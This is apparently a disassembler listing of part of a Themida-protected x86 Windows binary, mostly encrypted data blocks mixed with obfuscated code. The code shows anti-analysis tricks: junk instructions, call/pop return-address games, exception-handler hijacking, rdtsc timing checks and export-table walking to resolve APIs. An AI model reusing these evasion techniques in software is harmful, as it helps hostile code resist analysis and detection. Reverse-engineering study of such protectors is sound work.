dd 46000000h, 49D7C356h, 9E91Bh, 80260000h, 1F83157Bh
dd 8B401CB3h, 6A282444h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 65A2C351h, 6890F60h
dd 81000000h, 0B7A255CBh, 24C98178h, 61763E2Ch, 8E950h
dd 7D830000h, 3B9CFB63h, 4896CA9h, 0B860F24h, 0E9000000h
dd 6, 0FFD6D1E5h, 858DFD06h, 6134F6Ah, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Dh, 0E8C35141h, 0AAE95620h, 0FF9CDF80h
dd 0D98D298Ch, 0FF061022h, 53006AD0h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 800F6289h
dd 0Ch, 7E9h, 0EF673B00h, 70E98CC7h, 0FFFD2BE9h, 51006AFFh
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 0F1A20792h, 0CE98AA9h, 0ED000000h, 0AFB01FCAh, 0EB7B4E51h
db 0F2h, 0CEh, 45h
; ---------------------------------------------------------------------------
loc_584BA3: ; CODE XREF: sub_583550:loc_5839C6j
lea eax, [ebp+61399B6h]
mov [ebp+6101C61h], ebx
nop
pusha
mov di, 86EAh
popa
push eax
jmp loc_584BCE
; ---------------------------------------------------------------------------
db 0CCh
db 26h, 48h, 54h
dd 3BCAA122h, 2E8BB10Fh, 4623C141h
db 0E0h, 3Eh
; ---------------------------------------------------------------------------
loc_584BCE: ; CODE XREF: sub_583550+1667j
nop
cmc
push large dword ptr fs:0
ja loc_584BDE
cmc
loc_584BDE: ; CODE XREF: sub_583550+1687j
mov eax, [esp+4+var_4]
xor [ebp+610329Dh], ebx
mov [ebp+6101FBDh], eax
push 0
push edx
call sub_584BF8
and [edx-3Dh], bl
sub_583550 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_584BF8 proc near ; CODE XREF: sub_583550+16A0p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_584BF8 endp
; ---------------------------------------------------------------------------
adc edx, ebp
aas
test dl, ah
sbb [ecx+75h], dh
push esi
pusha
movzx ecx, dx
mov ebx, [ebp+6100F61h]
popa
stc
mov [ebp+6102F39h], edi
mov large fs:0, esp
jns loc_584C36
or [ebp+610004Dh], esi
loc_584C36: ; CODE XREF: Themida_:00584C2Aj
lea eax, [ebp+6139815h]
stc
mov [eax+1], esp
push 0
push ebx
call sub_584C4B
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_584C4B proc near ; CODE XREF: Themida_:00584C43p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_584C4B endp
; ---------------------------------------------------------------------------
mov esp, 29FB3EBBh
adc ecx, [ecx+10191D8Dh]
push es
jmp loc_584E4E
; ---------------------------------------------------------------------------
sub [ebp+61013A5h], edi
mov ebx, ebx
call $+5
pop ebp
sub ebp, 613980Eh
mov esp, 12FF9Ch
cmp dword ptr [ebp+6102969h], 0
jz short loc_584CA6
mov eax, [ebp+61010C5h]
mov byte ptr [eax], 0
mov eax, [ebp+6100701h]
mov byte ptr [eax], 0
call dword ptr [ebp+61009ADh]
loc_584CA6: ; CODE XREF: Themida_:00584C8Cj
pusha
push dword ptr [ebp+613815Bh]
lea eax, [ebp+613815Fh]
push eax
lea eax, [ebp+6138357h]
push eax
call dword ptr [ebp+6100251h]
add esp, 0Ch
popa
jb loc_584CDB
jmp loc_584CDB
; ---------------------------------------------------------------------------
dd 0C4AA351Ch, 68C811E8h
db 22h, 0EDh, 77h
; ---------------------------------------------------------------------------
loc_584CDB: ; CODE XREF: Themida_:00584CC5j
; Themida_:00584CCBj
mov [ebp+6101289h], esi
lea esi, [ebp+6138357h]
mov [ebp+61018F9h], edx
lea edi, [ebp+6102B01h]
push 0
push ecx
call sub_584CFE
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_584CFE proc near ; CODE XREF: Themida_:00584CF6p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_584CFE endp
; ---------------------------------------------------------------------------
dw 453h
dd 47413C6Eh, 3E80F0h, 33840Fh, 0A4F50000h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0C2C35646h, 33D997F7h
dd 1D5DB589h, 0CAE90610h, 29FFFFFFh, 100DBDB5h, 89C02B06h
dd 1004A19Dh, 6AAA06h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 180424h, 51410000h, 8950C6C3h, 7B84E37h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 6EA2C353h, 0E2019892h, 0BE982h, 6C340000h
dd 4C006AB1h, 0E834E29h, 0A185C71Eh, 106102Dh, 60000000h
dd 9959EE81h, 85892E50h, 6102161h, 858D8D61h, 6A06104Eh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h
dd 41000000h, 0F726C351h, 0BF25E91Bh, 0F70890E7h, 2FC99D89h
dd 0E1FF0610h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Dh, 0BDC35343h, 0C72390E8h, 0AE60FF20h
db 7Fh
; ---------------------------------------------------------------------------
loc_584E21: ; DATA XREF: Themida_:0054C910o
mov ebx, [esp+0Ch]
push ebp
call $+5
pop ebp
sub ebp, 61399C0h
mov eax, [ebx+0B8h]
mov [ebp+613815Bh], eax
lea eax, [ebp+6139807h]
mov [ebx+0B8h], eax
pop ebp
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_584E4E: ; CODE XREF: Themida_:00584C67j
push 0
push edi
call sub_584E59
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_584E59 proc near ; CODE XREF: Themida_:00584E51p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_584E59 endp
; ---------------------------------------------------------------------------
db 97h, 0D4h, 8Dh
dd 74D38B44h, 60F851F2h, 12E9h, 6B1D7E00h, 25D9D1FEh, 0DB08A46Fh
dd 37607E76h, 60E6D7EFh, 8B0Fh, 59530000h, 9F56161h, 1013AD85h
dd 6A6006h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
dd 52420000h, 0EE8E75C3h, 0A6460114h, 8E9C0h, 0DBA60000h
dd 0DF7A34A4h, 858D6DD6h, 6139CB9h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 72C35040h, 0F04F6C2Ah, 0F6398E86h
dd 1820FFCh, 0F8000000h, 13800F50h, 0F000000h, 0D85h, 8E900h
dd 9E1D0000h, 76AACFC8h, 489DCEFh, 51006A24h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0D1A4A6A2h
dd 16B27B07h, 13E92Ch, 0B5D80000h, 0BBBFC940h, 8287E4D3h
dd 6D3AB33Dh, 78A66ECEh, 11E9E6h, 898F0000h, 0C79601C4h
dd 0C65EB8BDh, 3719E64h, 6408D9EAh, 35FFh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
dd 7695FC3h, 0B32DA003h, 60BE632Ah, 3289B52Bh, 5E80610h
dd 0D8000000h, 8FF3D9D7h, 615AE3B7h, 258964h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 5DF9C355h, 14B95DA5h, 8B60624Ah, 10147995h
dd 55B52B06h, 61061010h, 1B858DF8h, 6006139Dh, 30ED8D8Bh
dd 0E8500610h, 9, 9868AE53h, 569A99D7h, 61585AE3h, 6A016089h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 65C9C357h, 0DD44DF78h, 0F5563153h, 12E9h
dd 5899C500h, 44556317h, 47F39113h, 0B3AC7D82h, 0C68BA51Bh
dd 1023E585h, 68F54F06h, 0D13A7410h, 128A0Fh, 52500000h
dd 310F5250h, 310F585Ah, 310F5250h, 585A585Ah, 1A240481h
dd 892D8E00h, 1023D195h, 10810F06h, 0E9000000h, 0Bh, 0B0F2ADC7h
dd 8F324078h, 0FFAC087Fh, 101D45B5h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 34FCE1F5h
dd 22220712h, 228DBD89h, 858D0610h, 613858Ah, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0D8C35141h, 1A1CCDADh
dd 0B4662B4Ch, 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 7E75A9C3h, 987818E5h, 0B5019FC7h
dd 610167Dh, 6DE9h, 75B58900h, 6006100Dh, 61FA8AF8h, 0C245C8Bh
dd 0E855h, 815D0000h, 139CC3EDh, 99858B06h, 89061014h
dd 101D4585h, 0E5858B06h, 89061020h, 10094585h, 61858B06h
dd 8906102Eh, 10145D85h, 0E585C606h, 61023h, 86CB85C7h
dd 613h, 858D0000h, 6139D1Bh, 0B88389h, 335D0000h, 9531C3C0h
dd 61009A1h, 22E98589h, 74BC0610h, 6A0012FFh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
dd 0AB80C357h, 7E0C58D8h, 10E93Eh, 41EA0000h, 5A546065h
dd 9AB0842Bh, 0A480A937h, 8F64513Bh, 5, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 0BD89FED7h, 6102871h, 6A04C483h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 5ABAC353h
dd 69892A11h, 8B666099h, 0E86161C6h, 13h, 0AF8572E9h, 4C0DAF9Ch
dd 14F0384h, 290271EFh, 0E90D7494h, 5, 0DE5B5F7h, 890F5F1Ah
dd 2, 0C781D98Bh, 718Fh, 0BAC28B66h, 1C34h, 1F719589h
dd 0F8B0610h, 27E981F9h, 66546569h, 81576CB8h, 6BBCF2F1h
dd 0EE944h, 0EB970000h, 0EB7E837Eh, 0BAE7F977h, 17F67467h
dd 0FD32F181h, 0B5295E67h, 61023F9h, 0C5B00F89h, 8B04EF83h
dd 1008B19Dh, 1EA8106h, 0F000000h, 1385h, 0C5858B00h, 0E9061007h
dd 33h, 0F0492A51h, 0B7C8D6B0h, 14E9h, 0F6898100h, 48BD17D2h
dd 0D8AE0395h, 4A34B445h, 0DF8ED402h, 0FF84E99Ah, 7B93FFFFh
dd 3EB8ABEh, 0BF6B5CA4h, 0E93A32EDh, 83h, 56525153h, 245C8B57h
dd 3B81661Ch, 850F5A4Dh, 68h, 3C43B70Fh, 8166D803h, 0F45503Bh
dd 5785h, 785B8B00h, 1C245C03h, 324738Bh, 561C2474h, 8B207B8Bh
dd 7C031C73h, 74032024h, 83FC2024h, 8B41FFC9h, 8B1C245Ch
dd 24540317h, 4C78320h, 0C084028Ah, 33A0874h, 4243E875h
dd 33AF2EBh, 0D15FE075h, 4B70FE1h, 86048B0Fh, 1C244403h
dd 595A5E5Fh, 8C25Bh, 0F1E9C033h, 8BFFFFFFh, 7E8CAh, 0A2EA0000h
dd 0C6C8CF36h, 0D18B66BEh, 0D08B6658h, 5F48C081h, 0BA660000h
dd 0E2B9B8CAh, 813601C8h, 1DF41F1h, 0E8388B36h, 11h, 0A4533AB1h
dd 6F11992Ch, 0B6329110h, 513C5E6Eh, 0F5DE81BDh, 5A37B91Eh
dd 0FC3FEF81h, 0CAB771D7h, 0EE78F781h, 0E6806D1Bh, 59C781F4h
dd 8B1D45F8h, 603889DFh, 800FE78Ah, 6, 950DD081h, 836178EDh
dd 0FE902E8h, 80000000h, 0E26D06EFh, 75820F36h, 0EFDD6899h
dd 4848D0BDh, 0E9835DB7h, 19850F01h, 66000000h, 1D5AF381h
dd 25E9h, 7A308600h, 0F12FA7A3h, 6042210Ch, 0F9810F8Bh
dd 83EB8166h, 0FF6FE90Ah, 3353FFFFh, 0D74365A2h, 13ECE49Ah
dd 0F3E97C19h, 37000000h, 97424C5Dh, 838A055Ch, 1D76A188h
dd 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h
dd 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h, 37335375h
dd 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6D171E57h, 602075DFh
dd 20206020h, 2060E0E0h, 0F77B68ACh, 20A1E4A9h, 0A693B2D0h
dd 0B99DB7EDh, 0ACA3F291h, 60206020h, 20206020h, 2060E0E0h
dd 0A335375h, 557D2F0Dh, 60206020h, 0A7286020h, 50F0362Bh
dd 0B6F360C9h, 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h, 6DB9E9B3h
dd 602060F7h, 60206020h, 6DF72020h, 73351ADFh, 3D577DD7h
dd 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h
dd 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h, 37335375h
dd 357D2F6Dh, 0E0A1Eh, 0D25D3407h, 1E59A0A3h, 3 dup(0)
dd 0E1E90000h, 6800000Ch, 613A338h, 0FCDFA3E9h, 0A45268FFh
dd 99E90613h, 68FFFCDFh, 613A53Ah, 0FCDF8FE9h, 0A5F768FFh
dd 85E90613h, 68FFFCDFh, 613A683h, 0FCDF7BE9h, 0A72B68FFh
dd 71E90613h, 68FFFCDFh, 613A858h, 0FCDF67E9h, 0A93468FFh
dd 5DE90613h, 68FFFCDFh, 613AA3Dh, 0FCDF53E9h, 0AAFC68FFh
dd 49E90613h, 68FFFCDFh, 613ABE3h, 0FCDF3FE9h, 1F6204FFh
dd 3D742CABh, 1A53FA81h, 3774179Eh, 1150F483h, 2153AF9Dh
dd 0FD7C306Fh, 0C84F0B4Ch, 0E473E722h, 5752063Bh, 0DD1CA665h
dd 0FBF86BDFh, 4E793231h, 0CC7CE75Bh, 0E388FF6Dh, 0FAA6CAA6h
dd 3DE92ADBh, 0AA5BDE82h, 10AF9469h, 0A9255A11h, 4C1EBD5Ch
dd 0CEA0D78Dh, 0CC7C67DBh, 0C6A37F6Dh, 1D02F7B2h, 9CC267FCh
dd 23A355EDh, 845EA94h, 0C68181Ch, 1D2F2BEFh, 0D46E1D43h
dd 309423A3h, 0A3FD4534h, 46E49423h, 90E311B2h, 550E857Dh
dd 7F2A4420h, 9423C6C3h, 74324723h, 0C579AE55h, 7BD8D36h
dd 4062EBD0h, 0CBB50F1h, 0D06D3CE8h, 299423A9h, 5CDFFB9Ah
dd 0C48F6CA5h, 8872E61Bh, 2FE31CD1h, 9BB7F298h, 194EF5BEh
dd 8AB56E6Dh, 23A9239Fh, 8B67C394h, 2A1C297h, 245B11C8h
dd 9ED38C47h, 609E6F2Ah, 3F7E397Bh, 80000005h, 0DEDB814Bh
dd 0A0BD1EABh, 44793204h, 0ED55542Ah, 96DCC7Ch, 374E502Dh
dd 0BA815B90h, 982AE116h, 7C6DCC7Ch, 54D0C4A0h, 5362BF77h
dd 3FE37688h, 65A24504h, 90B97088h, 7667FC11h, 0E75F06FAh
dd 6942396h, 0BA13D66Dh, 9A397B3Fh, 2Fh, 396E15A4h, 5A9B4E4Dh
dd 2FA6CAA6h, 0A3293E7Dh, 4C1EBD5Ch, 0FC7C745Dh, 0EA969267h
dd 3C7C03BBh, 32D1E294h, 7B35F6B7h, 0E3D639h, 32340000h
dd 0CD02A979h, 0BA9E54D9h, 0AEB9B2B9h, 71D1B892h, 956DCC7Eh
dd 0D2C9BD99h, 629F441Eh, 4CF3927Eh, 968AC77Ch, 79C9C09Ah
dd 9D6DCC7Eh, 10CBA5C1h, 5C4A1F5Ah, 0DD51863Dh, 0CC02A12Eh
dd 0B8ED966Dh, 45441A04h, 923382FDh, 73401D19h, 16EB97CCh
dd 702DCFFh, 9803F41Ah, 0C18FB19Ah, 3E7F8BD0h, 52274B8Ah
dd 0D1FAD450h, 498537D2h, 0D62E1B54h, 62687D67h, 0A57DFFCh
dd 2BDEF0EBh, 9E152786h, 0FCAA480h, 344C215Ah, 8C403A5h
dd 3BA0DF91h, 403ACC03h, 0B590190Dh, 0FA000009h, 22991558h
dd 77336Ah, 1D9C1049h, 2AB12D6Ah, 95934786h, 0A49FB69h
dd 0E526C74Eh, 13CF269h, 0E015CE4Dh, 8C7F816Ch, 6BDFDF36h
dd 324BD1CEh, 0AE2D3F7Eh, 63DFCAF5h, 836DCC7Ch, 28AECBA7h
dd 9C5FAB1h, 1EBD5C83h, 7C745D4Ch, 969267FCh, 6B3887C4h
dd 971DC91Fh, 2995C4C2h, 0CC943C4Bh, 14DD18B7h, 0F4397AFFh
dd 0EDh, 5D9E4F0Ah, 7932A480h, 6549F63Bh, 6326AC48h, 6DCC99DFh
dd 3B173B37h, 679C5047h, 0CC991EA4h, 4D7AF66Dh, 4612BA49h
dd 4E421EBDh, 0CC078E07h, 95CA816Dh, 47194719h, 0CC7FFE44h
dd 6B1A166Dh, 6DCC7FD7h, 0BDDC9EFAh, 5646F322h, 0EC886BD1h
dd 698DFFD7h, 0EB20C794h, 0A72BCA37h, 0F1CB5B94h, 0A66577EAh
dd 6DCC301Ch, 86587CF8h, 1FD310B3h, 57522643h, 67FC464Ah
dd 623CF06Ch, 0E3F833D7h, 96687382h, 0A8F2F93h, 7316A59Eh
dd 9651532h, 7B58F6F7h, 0FF8961FFh, 0A14316EAh, 0BD6FE662h
dd 0DE6BD97Eh, 7125403Bh, 89B68h, 0EB2EE000h, 940E86Fh
dd 0E61FC655h, 340E372h, 0DD1CD047h, 0ED1F6B61h, 0B940FC3Bh
dd 0D463D718h, 0C037F32Eh, 7356D207h, 0D820A289h, 0E7C46BDFh
dd 3F7E325Dh, 1E530C8Bh, 6709D0AAh, 0E3F87C28h, 5F04D749h
dd 0D58E4522h, 2ED5F4A0h, 1C9945F9h, 91786678h, 6DCC7C31h
dd 10B259D5h, 0F46DCC7Ch, 7C3B8782h, 7FDB6DCCh, 23FE463h
dd 0A835120Eh, 0CEB0CA11h, 681C570Bh, 0AF34EF0Ch, 2567FC20h
dd 96B3F296h, 887688E4h, 2FE31CD1h, 0A0FE4433h, 1A169423h
dd 3C9723Dh, 2697EB2Ch, 77324C8Fh, 9CDB718Ah, 0FC19214Ah
dd 1F30453Ah, 28DC584Ah, 2A93CDBh, 98DBD640h, 0D2ACC8A4h
dd 0EC2BF1D7h, 3B151192h, 0ED9CC780h, 82C85855h, 53F6B5B1h
dd 0FB7A2E12h, 5E890644h, 0E4007CD2h, 6FD75B00h, 0EDB95CE2h
dd 7B3FCh, 1356F800h, 31682097h, 0E47FE7Dh, 2B681B9Ah
dd 458428AFh, 0F567A389h, 21981453h, 0FC7B2F70h, 0C84F0B46h
dd 7B6EEA1Fh, 0D9388A81h, 0FFDC6BDFh, 44793235h, 87546350h
dd 5FDB675h, 9D9967FCh, 0A635C421h, 7E2FAAD4h, 8AFE4447h
dd 1A169423h, 11E64A36h, 146A491Ah, 0F6B5CB9Eh, 9E102A4Ch
dd 0EBAFCCA8h, 26DE5D6Fh, 5A8F38EFh, 0CBADCAA6h, 0A6225710h
dd 4F43782Fh, 76885362h, 12334975h, 95B229AAh, 0F6A2C8C3h
dd 6629427h, 89BE65F4h, 5F02EBD5h, 9DB40060h, 67209BB0h
dd 3331832h, 0AF105001h, 826F2F4Ch, 93966873h, 8A341CA2h
dd 0FD7BE03Ch, 0D3545E18h, 6F6D2C3h, 8B3B0000h, 5F059448h
dd 8025B428h, 5F049347h, 7D2FA622h, 609C8A3Eh, 4BFF3EF2h
dd 64D819CCh, 42F631D5h, 63D70CB3h, 2D959468h, 0C96BDFD9h
dd 0BD5C60ECh, 77324C1Eh, 6DCC7CCBh, 461A2F2Bh, 0FB9B2F43h
dd 718BE767h, 0BD7042EAh, 0C8AC587Ch, 550ECDB3h, 79304E20h
dd 94201DC9h, 0A21C312Dh, 114E01B8h, 0AA1CF865h, 8343E53Fh
dd 1AD18A5Fh, 35C431E5h, 721E550Bh, 11F8D2EEh, 9E109240h
dd 0A5BD2A06h, 6B403A9Ah, 66A2ABBh, 0FFAF0000h, 0D37900BCh
dd 0F499209Ch, 0D378FFBBh, 0F1932296h, 0F410F6B2h, 27A3E286h
dd 0BCFDB0h, 1E9AD579h, 0FFBBF097h, 0C979300Ch, 2D6BDFDAh
dd 0BD5CE4B0h, 45D4C1Eh, 8067FB9Ch, 0EEDB14B9h, 3DF3376Ch
dd 54462301h, 6D806D8h, 203EBF03h, 0FEDB5794h, 87598E35h
dd 1FD30EB4h, 29B02643h, 6C594D82h, 0A2BC8E4Dh, 203E5BE7h
dd 8D5FBB94h, 203E249Eh, 8764C094h, 0D9D0BA71h, 6C929E17h
dd 14DE05BDh, 6885E19Eh, 15A4B6B2h, 0F685396Eh, 976C184Dh
dd 8A815B80h, 9424A7B5h, 8468D551h, 0AA5E2E8Fh, 5C2E9FAh
dd 67070000h, 7B31A824h, 5C118844h, 7B30A723h, 590B8A3Eh
dd 5CA89E1Ah, 7F3B7A2Eh, 981455F8h, 76326D21h, 971348FFh
dd 61E1C8B4h, 856BDFDBh, 79329C28h, 0FDAF2A44h, 794ED2BEh
dd 20550E8Dh, 1BC057ACh, 11614A41h, 0C9A567FCh, 447D24B7h
dd 5B943950h, 0D2A7CBA7h, 973985D4h, 64DC9423h, 8CAEC767h
dd 4C214B3Bh, 0D41DD877h, 0B4397B7Bh, 44h, 215A0FCAh, 0A9D7804Ch
dd 0CC7C4002h, 792DA46Dh, 0B845223Eh, 0E9A0BA21h, 67FC7CC8h
dd 8A913F2Ch, 0D70E85C6h, 70240002h, 23FA9D29h, 0AC438094h
dd 7BAF8849h, 0BF6839h, 55960000h, 879377C8h, 2400DD57h
dd 50447932h, 86589739h, 7C11B158h, 79F56DCCh, 7C1EA467h
dd 7AF66DCCh, 812AA15Dh, 8A41584Ch, 0A532D955h, 9A6DCC00h
dd 0E126B3F1h, 0BBD5935h, 0A34615E7h, 4AD18562h, 4BB86CA1h
dd 6E1D2FACh, 980318ADh, 461DD59h, 1514E6F5h, 9E15B025h
dd 0D08B65C1h, 659E431Bh, 0E591B5B1h, 0EC21CA81h, 391F3C38h
dd 1B8FCE82h, 44A9E89Ch, 403A5B56h, 95BB2CF8h, 0DA000004h
dd 0C239F538h, 0E057D30Ah, 0BD3CF029h, 8A11CD0Ah, 3533A7E6h
dd 0AAE99BC9h, 0C506A72Eh, 0A1DC9209h, 0C0F5AE2Dh, 6C1F210Ch
dd 6BDFD4D6h, 32EBB12Eh, 0C8B3F7Eh, 0A2E18353h, 0DA4E72EEh
dd 1EBD5C4Ch, 7C745D4Ch, 7B7067FCh, 2D9BBFBCh, 6416335Ah
dd 0F14D1C08h, 14943CA8h, 0CC25C05Fh, 3C397A61h
dd 998DCA7Dh, 0BD08C09Dh, 82000000h, 2A447932h, 36F82541h
dd 3B0EAA7h, 74EC58D8h, 7F7F5C78h, 71256408h, 0CCD8AD2Ah
dd 0B4E9A26Dh, 95CA81F8h, 14CC8FE1h, 6CA95EDDh, 3E9FBCB8h
dd 5F4A24B7h, 67FCDB9Ah, 277C302Ch, 7A314B90h, 9E0A70A1h
dd 0E917E945h, 9980BD72h, 9E127029h, 647C51CDh, 38F433D5h
dd 2FDA0FC1h, 9E127093h, 6EDBF773h, 40381B9Ah, 0B9970014h
dd 0FE000003h, 0C655094Ch, 0E473E71Eh, 0D148043Dh, 0EE6DE11Eh
dd 493FFB3Ah, 0DE1DCF3Dh, 0F93AEB6Ah, 0D510B645h, 0F429E259h
dd 0C06B5538h, 6BDFD502h, 323F05E2h, 0AE2D3F7Eh, 61E1C8F7h
dd 856DCC7Ch, 5DD9CDA9h, 883FB680h, 2BD712B8h, 19AF2B47h
dd 225F04D7h, 5ED5F26Eh, 9AA67A5h, 0BBDB0AB1h, 0C9ADC90Ah
dd 30D863DDh, 4D910AF0h, 896DA8FBh, 0F7C4999Dh, 5B571250h
dd 0EC05208h, 0CBE27632h, 52F09BC5h, 0B26DCC5Eh, 1249FFB6h
dd 98E5025Eh, 5E805A81h, 3E17156Dh, 0FEADDFBBh, 6DCC5F44h
dd 0D1A7C4A0h, 0FC0349DAh, 0DFF16D67h, 8D6AA75Ch, 0D5519C2h
dd 0C5547876h, 0C3B7980Dh, 2DAC09B4h, 0EC483C7Bh, 0CE33F608h
dd 0A8324657h, 0D366D8CCh, 2CFEF231h, 6635C57Dh, 21452122h
dd 0C11AB94Ch, 0C8DCFCAFh, 48242851h, 0C7FCA336h, 92442913h
dd 0E9E9CD42h, 0EF684E7Bh, 5AE10AEFh, 0D80DB67Dh, 7035AB73h
dd 881105FAh, 2B0h, 961255F5h, 7632691Fh, 9D114AFFh, 0B02C691Eh
dd 94488729h, 54F86A96h, 6F229915h, 47FB7A2Eh, 22C9500Ch
dd 827E71EDh, 0DFD63B87h, 36FEDB6Bh, 2A447932h, 8D6FCA41h
dd 0ED0A2456h, 0A635C431h, 0A25CD5D4h, 0E15867FCh, 953AF12Eh
dd 0B3C8AC58h, 0C4CB6AEFh, 377C318Ch, 0AAFB9F1Bh, 314B9027h
dd 0CADE97Ah, 96110D9Eh, 9E8255E5h, 0D605145Bh, 598E3504h
dd 49825C84h, 36CD158Ah, 0F4AB2A15h, 1AABFh, 0E650AD41h
dd 0C2653BEFh, 0B1959185h, 918561C5h, 2B661C9Fh, 7FDEFB77h
dd 0A2896378h, 56BABABAh, 0E2FCCE4Ah, 5D7AB157h, 44F82DD6h
dd 74D90EB5h, 98CBA2A0h, 0F18D160Eh, 36000001h, 5EDD5194h
dd 3CBB6FA6h, 9904C85h, 26B52966h, 0A1874382h, 1655F765h
dd 317213A2h, 0D48FE7Dh, 0EC21CA51h, 88837D70h, 6BDFD63Ah
dd 3237FDDAh, 63504479h, 0B6758754h, 67FC1239h, 468759D5h
dd 0B859A874h, 0C2A78B77h, 2542531Ah, 3CBD0DB1h, 522C3E9Dh
dd 0FD2A5A19h, 0E0FD956Bh, 13DFBE23h, 8B41589Eh, 0FCD817B9h
dd 0B4AE5DD8h, 2E4704B3h, 9F67B43Dh, 0C9EEA66Eh, 0C96429F3h
dd 3BCA9F5Ah, 532D3F9Ch, 0F6AADF88h, 0CB08BB7Ah, 857E5BD7h
dd 5D10857Ch, 508F41F8h, 0F7AB877Bh, 92C44885h, 2BA83D97h
dd 0B328AF4Eh, 52CAF299h, 0DE3A5327h, 60974D0Ch, 31279B8Eh
dd 63BF4305h, 40E77286h, 0EE6D4F0Bh, 2A06FA3Bh, 9FDD864Dh
dd 9835BF1Eh, 0F99FCCB5h, 0B7E55E7Bh, 38EE5B77h, 769D2F36h
dd 10A359Eh, 9F4F0000h, 0B359E05Ch, 9439C07Ch, 0B358DF5Bh
dd 9133C276h, 94F0D652h, 0C783C266h, 0E05C9D50h, 0BE7AB559h
dd 0DF5B9037h, 0A91910ECh, 4D6BDFD7h, 7932C450h, 54635044h
dd 0EEE1657Eh, 3AF1136Fh, 0CBA75B92h, 0D9D6D5A7h, 0F567FC4Bh
dd 2ED46779h, 581AFFF3h, 0F48D07A2h, 5CE2F7DBh, 4010B782h
dd 55724E8Bh, 10EAF108h, 0B9F7519h, 0EF11EF9Eh, 1018863Ch
dd 13025E9Eh, 9E1018AFh, 0E090C980h, 0AEB36784h, 7EC6E08Dh
dd 0E02DEC7h, 1F9BD077h, 90C57E3Dh, 0F06B80E4h, 87C46737h
dd 0C7BB979Bh, 70440BA0h, 48E7B8D2h, 0D91ACB8Eh, 0A734492Dh
dd 880FCB00h, 0DFF6AADFh, 5EDDEF2Ch, 908E6BAAh, 0FFB12806h
dd 7918ABC0h, 0FAE40FB8h, 0B044B30Fh, 30D753C2h, 0C2B04492h
dd 0C9BDF6ABh, 9DB9B56Dh, 1752F8C3h, 6CF2076Bh, 150136EDh
dd 0A8E8A01Bh, 4A2B3028h, 422E1274h, 0D6009DEh, 60000000h
dd 0D2378B7Eh, 53CFC2B0h, 6D5FAE76h, 493D8032h, 0B0649952h
dd 463A7519h, 0A95D9E4Fh, 533F7E32h, 0A5519034h, 50448126h
dd 0A75B9439h, 55417830h, 17D68CFh, 34890000h, 0E1895124h
dd 4C181h, 0E9810000h, 4, 5C240C87h, 52240489h, 0C281E289h
dd 4, 8704EA83h, 895C2414h, 0BD55241Ch, 613A12Eh, 89EF8957h
dd 545D5FF8h, 81241C8Bh, 4C4h, 0B9515000h, 562F718Fh, 4244C31h
dd 8438F59h, 8F087381h, 0FF562F71h, 815B2434h, 4C4h, 24048B00h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5534D8
; ---------------------------------------------------------------------------
dd 0CD587F5Fh, 0C4D5D099h, 2E3CCDCDh, 13AD12B8h, 0FFC50306h
dd 314AFAE0h, 445ABD7Fh, 42DD8D2Ch, 6AD3131Dh, 519A0858h
dd 0AD316051h, 4588D179h, 39C7CB63h, 3A4DF776h, 57982665h
dd 9F9A716Dh, 2D57BB4Ch, 0E6179D67h, 9B27D70Ch, 6E1A4438h
dd 2D109511h, 148E95Eh, 780000h, 7C0000h, 800000h, 840000h
dd 880000h, 8C0000h, 900000h, 940000h, 0D80000h, 0DC0000h
dd 0E00000h, 0E40000h, 0E80000h, 0EC0000h, 0F00000h, 0F40000h
dd 0F80000h, 0FC0000h, 1000000h, 1040000h, 1080000h, 10C0000h
dd 1100000h, 1140000h, 38h dup(0)
